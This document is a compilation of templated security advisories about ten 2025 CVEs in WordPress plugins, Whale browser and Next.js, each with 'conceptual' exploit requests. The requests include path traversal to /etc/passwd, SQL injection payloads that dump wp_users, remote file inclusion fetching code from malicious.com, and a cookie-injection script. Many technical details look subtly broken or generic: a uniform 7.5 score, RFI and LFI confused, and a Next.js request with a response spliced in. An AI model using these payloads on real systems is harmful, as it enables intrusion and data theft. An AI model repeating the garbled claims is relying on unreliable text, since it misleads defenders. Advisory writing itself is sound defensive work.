Author: Ameeba

Overview

This report provides an analysis of the critical Path Traversal vulnerability identified as CVE-2025-52805 in VaultDweller Leyka software. The vulnerability affects versions up to and including 3.31.9. The exploitation of this vulnerability can lead to potential system compromise or data leakage. As the Leyka software is widely used, the impact of this vulnerability is significant and warrants immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-52805
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Possible system compromise or data leakage

Affected Products

Product | Affected Versions

VaultDweller Leyka | Up to and including 3.31.9

How the Exploit Works

The exploit takes advantage of a Path Traversal vulnerability in VaultDweller Leyka, which allows PHP Local File Inclusion (LFI). An attacker can manipulate variables that reference files with “dot-dot-slash (../)” sequences and its variations such as “http://” or “ftp://” to access arbitrary files and directories stored on the system. This could potentially lead to unauthorized disclosure of sensitive information, or even system compromise.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. In this case, the attacker sends a POST request to a vulnerable endpoint with a malicious payload:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "file": "../../etc/passwd" }

In this example, the attacker attempts to retrieve the ‘/etc/passwd’ file, which contains user account details on the system. If successful, this could lead to further attacks.

Mitigation Guidance

The recommended course of action is to apply the vendor-supplied patch. If that’s not immediately possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. Regular system monitoring and updates should be part of the ongoing security strategy to prevent such vulnerabilities in the future.

Overview

This report provides a comprehensive analysis of the CVE-2025-49870 vulnerability, an SQL Injection flaw found within Cozmoslabs Paid Member Subscriptions software. The vulnerability affects users of this software and can lead to potential system compromise or data leakage, posing a significant threat to data integrity and confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-49870
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Cozmoslabs Paid Member Subscriptions | n/a through 2.15.1

How the Exploit Works

The vulnerability stems from the improper neutralization of special elements used in an SQL command within the software. This allows an attacker to craft an SQL query that the software will execute without proper sanitization. The attacker can, therefore, manipulate the software’s database, potentially leading to unauthorized data access, data corruption, or even a system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

POST /member_subscription HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: application/x-www-form-urlencoded
username=' OR '1'='1'; -- & password=' OR '1'='1'; --

This example demonstrates an SQL Injection attack where the attacker inputs crafted SQL queries into the username and password fields. The software, failing to sanitize these inputs, executes them as part of the SQL command, leading to potential unauthorized access.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as possible. In the meantime, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, helping to detect and prevent SQL Injection attempts.

Overview

The CVE-2025-49070 vulnerability signifies a PHP Remote File Inclusion weakness in the NasaTheme Elessi. This vulnerability, affecting an undisclosed range of Elessi versions, allows PHP Local File Inclusion, potentially leading to system compromise or data leakage. The severity and potential impact of this vulnerability underline the importance of immediate mitigation.

Vulnerability Summary

CVE ID: CVE-2025-49070
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

NasaTheme Elessi | All versions up to the latest

How the Exploit Works

This vulnerability works through an improper control of the filename for the Include/Require statement in a PHP program, known as PHP Remote File Inclusion. This allows an attacker to include arbitrary local files via the affected Elessi theme. By exploiting this vulnerability, a malicious actor can manipulate the PHP include function, leading to unauthorized control over the system, potentially compromising it and causing data leakage.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

GET /index.php?file=http://malicious.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the attacker is using the HTTP GET method to request the ‘index.php’ file from the server. The ‘file’ parameter in the URL is manipulated to include a malicious script hosted on a remote server (malicious.com). The server, due to the vulnerability, includes this remote file, allowing the attacker to execute arbitrary PHP code on the server.

Overview

The CVE-2025-47627 is a critical vulnerability found in the LCweb PrivateContent – Mail Actions. This PHP Remote File Inclusion vulnerability can lead to system compromise or data leakage, posing a significant threat to any organization using versions up to 2.3.2 of the software. It underscores the importance of regular patching and cybersecurity vigilance.

Vulnerability Summary

CVE ID: CVE-2025-47627
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

LCweb PrivateContent – Mail Actions | up to 2.3.2

How the Exploit Works

The exploit works by taking advantage of an improper control of filename for include/require statement in the PHP program of LCweb PrivateContent – Mail Actions. This allows an attacker to include a remote PHP file from an external server, which will be executed in the context of the web application. This leads to a potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /vulnerable/endpoint.php?include=http://malicious.com/evilcode.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
{ "param": "value" }

In the example above, the attacker uses a POST request to include a malicious PHP file (`evilcode.php`) hosted on their own server (`malicious.com`). The `evilcode.php` file is then executed locally on the vulnerable server, potentially leading to system compromise or data leakage.

Mitigation

Users are advised to apply patches provided by the vendor as soon as possible. As a temporary mitigation strategy, users can also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.

Overview

The vulnerability, identified as CVE-2025-5920, is a security flaw that impacts the Sharable Password Protected Posts software prior to version 1.1.1. This vulnerability can potentially lead to data leakage or full system compromise due to the exposure of secret keys via a GET parameter in the REST API. It is a significant threat to any entity using this software as it could grant unauthorized access to sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-5920
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized data access, system compromise

Affected Products

Product | Affected Versions

Sharable Password Protected Posts | Before 1.1.1

How the Exploit Works

The vulnerability stems from the software’s mishandling of secret keys in the REST API. An attacker can exploit this flaw by sending a GET request with the secret key as a parameter. The REST API then exposes this key, allowing the attacker to bypass the password protection on posts, thereby gaining unauthorized access to the content.

Conceptual Example Code

Here is a conceptual example illustrating how the vulnerability might be exploited:

GET /wp-json/wp/v2/posts?secret_key=[insert secret key] HTTP/1.1
Host: target.example.com
Accept: application/json

In this example, the attacker inserts the secret key into the GET request, which would then return the protected content if the vulnerability is present.

Recommended Mitigation

To remediate this vulnerability, users of Sharable Password Protected Posts are advised to upgrade to version 1.1.1 or later, where this vulnerability has been resolved. If an upgrade is not immediately possible, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure.

Overview

Whale browser, prior to version 4.32.315.22, has been identified as having a vulnerability that allows attackers to bypass the Same-Origin Policy in a dual-tab environment. This vulnerability, known as CVE-2025-53600, poses a significant risk to users, potentially compromising systems or leading to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53600
Severity: High (7.5/10 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

Whale Browser | Versions before 4.32.315.22

How the Exploit Works

An attacker can exploit CVE-2025-53600 by manipulating the Same-Origin Policy in a dual-tab environment within the Whale browser. This allows the attacker to access sensitive data, execute scripts or perform actions that would normally be restricted by the browser’s security measures.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited with a JavaScript injection:

<script>
// Open new tab with target website
var target = window.open('http://target.example.com', '_blank');
// Wait for the target page to fully load
setTimeout(function() {
// Execute malicious actions in the context of the target page
target.document.cookie = "session=malicious_value";
}, 5000);
</script>

This code, when run in the context of an attacker’s webpage, would open a new tab to the target site and, after waiting for the page to load, inject a malicious session cookie.

Mitigation Guidance

To mitigate this threat, users should apply the vendor-provided patch as soon as possible. If the patch cannot be applied immediately, temporary mitigation can be achieved through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS).

Overview

The Booking X plugin for WordPress, versions 1.0 to 1.1.2, is susceptible to a severe data leakage vulnerability. The vulnerability, identified as CVE-2025-6814, allows unauthenticated attackers to gain access to, and download, sensitive user data and PayPal credentials. Any organization utilizing the vulnerable versions of this plugin is at risk, making this issue a significant concern within the cybersecurity landscape.

Vulnerability Summary

CVE ID: CVE-2025-6814
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access and potential system compromise or data leakage

Affected Products

Product | Affected Versions

Booking X Plugin for WordPress | 1.0 to 1.1.2

How the Exploit Works

The vulnerability exists due to a missing capability check in the export_now() function of the Booking X plugin. This flaw allows unauthenticated attackers to issue a crafted POST request, bypassing normal authentication processes. As a result, attackers can download all plugin data, including user accounts, user meta, and PayPal credentials.

Conceptual Example Code

The below pseudocode represents how an attacker might exploit this vulnerability:

POST /wp-content/plugins/booking-x/includes/export.php HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "action": "export_now", "nonce": "..." }

In this example, the attacker crafts a POST request to the vulnerable endpoint in the plugin, triggering the export_now() function. The attacker can then download the resulting data file, gaining unauthorized access to sensitive data.

Overview

A critical vulnerability has been identified in the GoZen Forms plugin for WordPress, with a CVSS Severity Score of 7.5. This vulnerability allows unauthenticated attackers to perform SQL Injection attacks via the ‘forms-id’ parameter of the emdedSc() function. This could potentially compromise the system and lead to data leakage. Web administrators using this plugin should apply the vendor patch immediately to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-6783
Severity: Critical (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

GoZen Forms WordPress Plugin | Up to and including 1.1.5

How the Exploit Works

The vulnerability lies in the emdedSc() function of the GoZen Forms plugin. The ‘forms-id’ parameter in this function does not adequately escape user-supplied input, and the SQL query lacks sufficient preparation. This allows unauthenticated attackers to append additional SQL queries that can extract sensitive data from the database or even modify it.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP POST request with a malicious payload:

POST /wp-admin/admin-ajax.php?action=gozen_forms_embed_sc HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
forms-id=1 UNION SELECT 1,username,password FROM wp_users WHERE ID=1 --

In this example, the attacker sends a POST request to the vulnerable endpoint with a ‘forms-id’ parameter containing a malicious SQL injection payload. This would result in data extraction from the WordPress users table.

Mitigation Guidance

The vendor has released a patch to address this vulnerability. Users of the GoZen Forms plugin for WordPress should apply this patch immediately. As a temporary mitigation, users can also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.

Overview

The GoZen Forms plugin for WordPress, a popular tool for creating interactive forms, has been identified as carrying a significant SQL Injection vulnerability. This vulnerability affects all versions up to and including 1.1.5 and can allow unauthenticated attackers to manipulate SQL queries to extract sensitive data. Given the widespread use of WordPress and the GoZen Forms plugin, this vulnerability poses a serious risk to numerous websites and their associated databases.

Vulnerability Summary

CVE ID: CVE-2025-6782
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

GoZen Forms WordPress Plugin | Up to and including 1.1.5

How the Exploit Works

The vulnerability lies in the ‘forms-id’ parameter of the dirGZActiveForm() function. Due to insufficient escaping on this user-supplied parameter and inadequate preparation of the SQL query, an attacker can append additional SQL queries into already existing ones. These modified queries can then be used to extract sensitive information from the database linked to the WordPress site.

Conceptual Example Code

This is a conceptual example demonstrating the potential exploitation of the vulnerability.

POST /wp-content/plugins/gozen-forms/dirGZActiveForm.php HTTP/1.1
Host: targetsite.com
forms-id=1';SELECT * FROM wp_users;--

In this example, the malicious payload is `1′;SELECT * FROM wp_users;–`, which would inject an additional SQL command after the original query that extracts all user information from the `wp_users` table.

Recommended Mitigation

To mitigate this vulnerability, apply the vendor patch as soon as it’s available. In the meantime, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary solution.

Overview

The vulnerability, CVE-2025-49826, is a notable security risk concerning Next.js, a popular React framework for web application development. The vulnerability poses a significant risk to full-stack web applications developed using affected versions of Next.js. It primarily leads to a Denial of Service (DoS) condition, potentially compromising systems or leading to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49826
Severity: High, CVSS Score: 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: DoS condition, potential system compromise and data leakage

Affected Products

Product | Affected Versions

Next.js | 15.0.4-canary.51 to 15.1.7

How the Exploit Works

The exploit works by taking advantage of a cache poisoning bug in the Next.js framework. In certain circumstances, it allows an HTTP 204 response to be cached for static pages. This cached response can then be served to all users attempting to access the page, leading to a Denial of Service (DoS) condition as the page becomes inaccessible.

Conceptual Example Code

An attacker might exploit this vulnerability using a malformed HTTP request that triggers the HTTP 204 response. This could look something like:

GET /static_page HTTP/1.1
Host: target.example.com
Cache-Control: no-cache
Pragma: no-cache
HTTP/1.1 204 No Content
Cache-Control: max-age=86400
...

The attacker sends a request to a static page, forcing a 204 No Content response which then gets cached. Future legitimate requests to the same page receive the cached 204 response, effectively making the page unavailable.

Mitigation

The issue has been addressed in version 15.1.8 of Next.js. Users of the affected versions should update to the patched version as soon as possible. As a temporary solution, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may be used to detect and block attempts to exploit this vulnerability.